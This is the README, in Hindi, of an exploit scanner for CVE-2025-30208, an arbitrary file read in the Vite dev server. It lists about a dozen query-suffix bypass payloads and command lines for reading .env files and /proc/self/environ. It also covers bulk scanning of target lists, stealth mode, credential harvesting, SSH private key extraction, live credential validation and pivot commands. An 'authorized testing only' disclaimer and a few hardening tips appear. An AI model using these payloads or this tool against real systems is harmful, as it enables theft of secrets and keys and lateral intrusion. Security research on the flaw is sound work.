
CVE-2025-30208 (Vite आर्बिट्रेरी फ़ाइल रीड) के लिए शोषण स्कैनर, मल्टी-वेरिएंट बाईपास डिटेक्शन, क्रेडेंशियल हार्वेस्टिंग, SSH कुंजी निष्कर्षण, और अधिकृत पेनेट्रेशन परीक्षण के लिए संरचित रिपोर्टिंग के साथ।
CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
गंभीरता: CVSS 5.3 Medium (नेटवर्क-सुलभ dev सर्वर)
⚠ केवल अधिकृत सुरक्षा परीक्षणों के लिए।
उन प्रणालियों के विरुद्ध अनधिकृत उपयोग, जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति आपके पास नहीं है, अवैध है।
Vite का dev सर्वर /@fs/ अनुरोधों के माध्यम से होस्ट फ़ाइल सिस्टम से मनमानी फ़ाइलें प्रदान करने की अनुमति देता है।
प्रभावित संस्करणों में query-string सैनिटाइज़ेशन जाँच की कमी हमलावर को allow-list को बायपास करने के लिए विशेष रूप से निर्मित सफ़िक्स जोड़ने और प्रक्रिया द्वारा एक्सेस की जा सकने वाली किसी भी फ़ाइल को पढ़ने की अनुमति देती है — जिसमें .env फ़ाइलें, SSH निजी कुंजियाँ, क्लाउड क्रेडेंशियल्स और /proc प्रविष्टियाँ शामिल हैं।
| शाखा | अंतिम संवेदनशील | पैच किया गया |
|---|
| 6.3.x | 6.3.0 | 6.3.1+ |
| 6.2.x | 6.2.2 | 6.2.3+ |
| 6.1.x | 6.1.1 | 6.1.2+ |
| 6.0.x | 6.0.11 | 6.0.12+ |
| 5.4.x | 5.4.14 | 5.4.15+ |
| 4.5.x | 4.5.9 | 4.5.10+ |
| नाम | सफ़िक्स / क्वेरी | विवरण |
|---|---|---|
raw?? | ?raw?? | अंतिम ?? rawRE को तोड़ता है |
import&raw?? | ?import&raw?? | ES मॉड्यूल + raw संयुक्त |
raw? | ?raw? | एकल अंतिम ? |
url&raw?? | ?url&raw?? | URL मोड संयुक्त |
raw&url?? | ?raw&url?? | उल्टा पैरामीटर क्रम |
import&?raw | ?import&?raw | विकृत import उपसर्ग |
sec-fetch | ?raw + Sec-Fetch header | ब्राउज़र स्क्रिप्ट संदर्भ |
raw-encoded | ?raw%3f%3f | URL-एन्कोडेड विभाजक |
double-slash | ?raw??/ | डबल-स्लैश सफ़िक्स बायपास (v5) |
pct-all | %3fraw%3f%3f | पूर्णतः percent-एन्कोडेड क्वेरी (v5) |
raw-hash | ?raw??# | फ़्रैगमेंट एंकर बायपास (v5) |
wasm-init | ?inline=1.wasm?init | CVE-2025-31125 संबंधित भेद्यता (wasm init) |
pip install requests
# or
pip install -r requirements.txt
python main.py -t https://target.com
python main.py -t https://target.com --full-chain --output /tmp/report
python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt
python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080
python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080
python main.py -t https://target.com --no-color | tee scan.log
python main.py --version
python -m cve30208 -t https://target.com
| फ़्लैग | डिफ़ॉल्ट | विवरण |
|---|---|---|
-t/--target | — | एकल लक्ष्य URL |
-l/--lists | — | ऐसी फ़ाइल जिसमें प्रति पंक्ति एक लक्ष्य हो |
--stealth | off | अनुरोधों के बीच यादृच्छिक विलंब जोड़ें |
--proxy | — | HTTP/HTTPS प्रॉक्सी (http://host:port) |
--timeout | 10 | प्रति-अनुरोध टाइमआउट (सेकंड में) |
--verify | off | TLS प्रमाणपत्र सत्यापन सक्षम करें |
--file | — | लक्ष्य होस्ट पर कोई विशिष्ट पथ पढ़ें |
--save | — | --file की सामग्री को स्थानीय पथ पर सहेजें |
--full-chain | on | पूर्ण शोषण श्रृंखला चलाएँ (लाइव सत्यापन डिफ़ॉल्ट है) |
--output | — | JSON + Markdown रिपोर्ट को इस आधार पथ पर लिखें |
--workers | 10 | बल्क स्कैन के लिए समानांतर वर्कर्स |
--ports | see below | बल्क मोड में जाँचे जाने वाले अल्पविराम-पृथक पोर्ट |
--no-color/--plain | off | ANSI रंग कोड अक्षम करें |
--safe-mode | off | टर्मिनल आउटपुट में गोपनीय मान संपादित करें |
--show-secrets | off | पूर्ण टर्मिनल गोपनीय दिखाएँ (--safe-mode को ओवरराइड करता है) |
--version | — | संस्करण प्रिंट करके बाहर निकलें |
डिफ़ॉल्ट बल्क-स्कैन पोर्ट: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443
जब --output /tmp/report निर्दिष्ट किया जाता है तो स्कैनर लिखता है:
/tmp/report.json — मशीन-पठनीय संरचित निष्कर्ष/tmp/report.md — मानव-पठनीय Markdown रिपोर्टबल्क स्कैन आसान शेल स्क्रिप्टिंग के लिए अंतिम पंक्ति में हमेशा VULN_COUNT=N प्रिंट करता है:
python main.py -l targets.txt | grep '^VULN_COUNT='
एकल-लक्ष्य स्कैन स्वचालन के लिए अंत में SCAN_STATUS=VULNERABLE|NOT_VULNERABLE प्रिंट करते हैं।
cve30208/
├── __init__.py — public API surface
├── __main__.py — python -m cve30208 entry point
├── constants.py — BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan constants
├── ui.py — ANSI colour codes, Spin/NullSpin, terminal helpers
├── utils.py — shared helpers (_unescape_js_string)
├── secrets.py — scan_secrets(), parse_env(), parse_environ()
├── ssh.py — extract_ssh_key(), collect_ssh_targets()
├── exploit.py — ExploitResult, ExploitStage (live credential validation)
│ includes a check registry for easier extension
├── report.py — save_report(), make_md()
└── scanner.py — FR/R dataclasses, Scanner, bulk_scan(), main()
main.py — backwards-compatibility shim
requirements.txt
स्कैनर दोहराए गए आर्टिफैक्ट्स को स्वचालित रूप से दबा देता है ताकि आउटपुट साफ़ बना रहे, भले ही HOME /root के बराबर हो या वही गोपनीय कई फ़ाइलों में दिखाई दे:
| परत | तंत्र |
|---|---|
| फ़ाइल सिस्टम रीड | stage_fs SSH-कुंजी आधार सूची को dict.fromkeys के साथ सामान्यीकृत करता है और कोई भी आउटपुट उत्पन्न करने से पहले reads कतार से डुप्लिकेट पथ हटा देता है। |
| फ़ाइल सहेजना | Scanner._save प्रति-स्कैन _seen_file_paths सेट की जाँच करता है; डुप्लिकेट पथ r.files में पुनः जोड़े बिना पहले से संग्रहीत FR लौटाते हैं। |
| गोपनीय | Scanner._save सभी फ़ाइलों में (name, value) द्वारा r.secrets को वैश्विक रूप से डीडुप्लिकेट करता है; फ़ाइल-आंतरिक डीडुप scan_secrets में अलग से संभाला जाता है। |
| SSH कुंजियाँ | stage_ssh समान PEM हस्ताक्षर (पहले _PEM_SIG_LEN बाइट्स) वाली कुंजियों को समेट देता है जो कई स्रोत फ़ाइलों में दिखाई देती हैं। |
| पिवट कमांड | पिवट ब्लॉक (key_source, host, port) द्वारा कुंजीबद्ध होते हैं; समान संयोजन केवल एक बार प्रिंट होते हैं। |
सारांश पंक्ति बताती है कि कितनी फ़ाइलें, गोपनीय और SSH कुंजियाँ डुप्लिकेट के रूप में दबाई गईं, उदा.:
deduped 2 file(s), 4 credential(s), 1 SSH key(s) suppressed as duplicates
--host 0.0.0.0 के साथ कभी प्रारंभ न करें।.env फ़ाइलों का ऑडिट करें और प्रोजेक्ट से अनावश्यक गोपनीय हटाएँ।यह टूल केवल अधिकृत पेनेट्रेशन परीक्षण और सुरक्षा अनुसंधान के लिए प्रदान किया जाता है।
इस टूल का उपयोग करके आप सहमत हैं कि आपके पास लक्ष्य प्रणालियों के परीक्षण की स्पष्ट लिखित अनुमति है।
लेखक इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए कोई दायित्व स्वीकार नहीं करते हैं।
CVE-2025-30208 PoC v5
उत्पन्न JSON में अब शामिल है:
schema_version (वर्तमान: 1.0.0)status (VULNERABLE या NOT_VULNERABLE)safe_mode (true जब टर्मिनल गोपनीय संपादन मोड सक्षम था)report_redacted (true जब कम से कम एक गोपनीय मौजूद था और संग्रहीत रिपोर्टों में संपादित किया गया था)